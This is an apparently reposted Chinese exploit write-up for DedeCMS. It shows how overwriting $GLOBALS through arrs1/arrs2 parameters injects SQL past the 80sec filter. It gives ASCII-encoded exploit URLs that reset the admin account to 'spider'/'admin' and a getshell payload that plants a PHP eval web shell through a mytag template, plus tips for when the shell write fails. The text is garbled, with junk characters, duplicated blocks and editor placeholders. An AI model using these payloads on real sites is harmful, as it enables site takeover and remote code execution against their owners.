|
此漏洞无视gpc转义,过80sec注入防御。
. Z* R u4 \) ?. ~* U补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?7 m4 r& g' S3 o6 X
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
: B' m' E. X6 L5 Z6 iinclude/dedesql.class.php
3 M4 g9 y: `! f O% o! Gif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。' w, z& L& F8 h4 Z' ]
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2 g$ Y8 {. ~7 d$ @; u& k
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。, c Z0 I. _2 o
plus/download.php8 M2 D, t _- I# O. o+ n: P
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("locationlink"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
# C6 ~" x. v! U5 z9 hadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:# k1 p) P; \) Y: J
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:* I9 j+ x1 U+ n* r
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
# l9 D1 j" Y* x% H) c漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。$ ^' I- S( }3 n# P
如果找不到后台,参见以前修改数据库直接拿SHELL的方法, r- Z7 z$ B1 W( S/ f9 O" [5 u
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。- c& e5 T5 r" h6 u, `% }
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
* x: s, f* \! Q, O& k* V/ n7 F起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。6 c1 _/ O3 c* p' x/ y3 }
include/dedesql.class.php
$ d# O# e* k3 h$ I1 e" y8 Vif(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
$ e& t1 ^9 t' m7 N- {( n3 l同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery28 L( c$ p; x) g
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。# {! R) r O% i# P. S0 [, Q. v
plus/download.php
3 M8 Q3 k: v% B6 L% Selse if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("locationlink"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
E/ o/ L: G- j, a' F/ gadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:5 ]+ s" M- T8 M T+ F' S* \
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
! a/ s4 [7 R/ ^/ O$ w' Qhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
) P6 [3 r6 y7 l$ q0 e漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
$ O# F% B: r/ W' p( n6 Q( g; n8 L8 [如果找不到后台,参见以前修改数据库直接拿SHELL的方法
* K& Y7 m5 ^7 L$ O: c+ Z% V___FCKpd___6getshell:
! l( s% H9 b* J$ Y' Ahttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m) t4 R! x+ `! `$ C$ r4 E
http://127.0.0.1/plus/x.php4 C8 z) I# G- A5 E1 m" V& H+ e1 n
update成功后还要访问下 /plus/mytag_js.php?aid=1( j. [5 B3 i/ T2 c" z
失败原因:
( I! ]& L+ e4 F测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)5 @6 c# w8 d: E
配图:3 P+ e, Q4 r4 x! Y s
1.查看dede当前版本
0 f" I. s; B# G) } G/ o$ C
2 _! {1 P# s3 }2 S$ w; P2.执行exp* B* Q* T: Q* \) }0 s
6 y, |2 ^& o6 b1 b+ C1 ihttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台7 K) K" R* ?: u; d; h5 [2 q9 y
5 n+ G1 ?' T; ~+ t, r
spider密码admin/ q+ K& S; \- Z* f K
: Y; P. }6 Y( m
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png# N9 M4 Y9 Z8 b- q F8 G
原作者:imspider
) {9 ~; ~/ s' |/ _* k0 l8 H
1 a1 x [7 y. M* k. d0 B本博客测试+配图+getshell
! ~* T, D& }2 U& CPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
/ ]; R! y! d7 \. ` L6 K4 Z
2 G) G! b. G1 T- g7 Z( m* J- {getshell:7 u1 y- F* w) t+ j% b% F% V6 ]2 w
___FCKpd___7会在plus目录生成 x.php 密码 m5 h$ m1 M' Z9 c4 k0 ~1 Q d
http://127.0.0.1/plus/x.php
z, z# D# j: V& n7 fupdate成功后还要访问下 /plus/mytag_js.php?aid=1$ O7 U% s6 d* F3 A
失败原因:
) c# C9 m C. z3 t, C测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
6 c: [3 r' m. Z2 [# C/ U2 p) w7 E配图:+ n# n& v! C7 @+ |$ f
1.查看dede当前版本
. b& H$ v) Q6 H7 @http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png3 [" t: I3 B, c3 w0 @
2.执行exp# _ M+ K! f/ R% k
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台# F* J( [. |. x O$ Z
spider密码admin
0 A: `; m+ h+ Khttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png. N \8 ?4 a* Q( E
9 ^' l/ B: f" ~! S# @( y; @* a2 Q |
|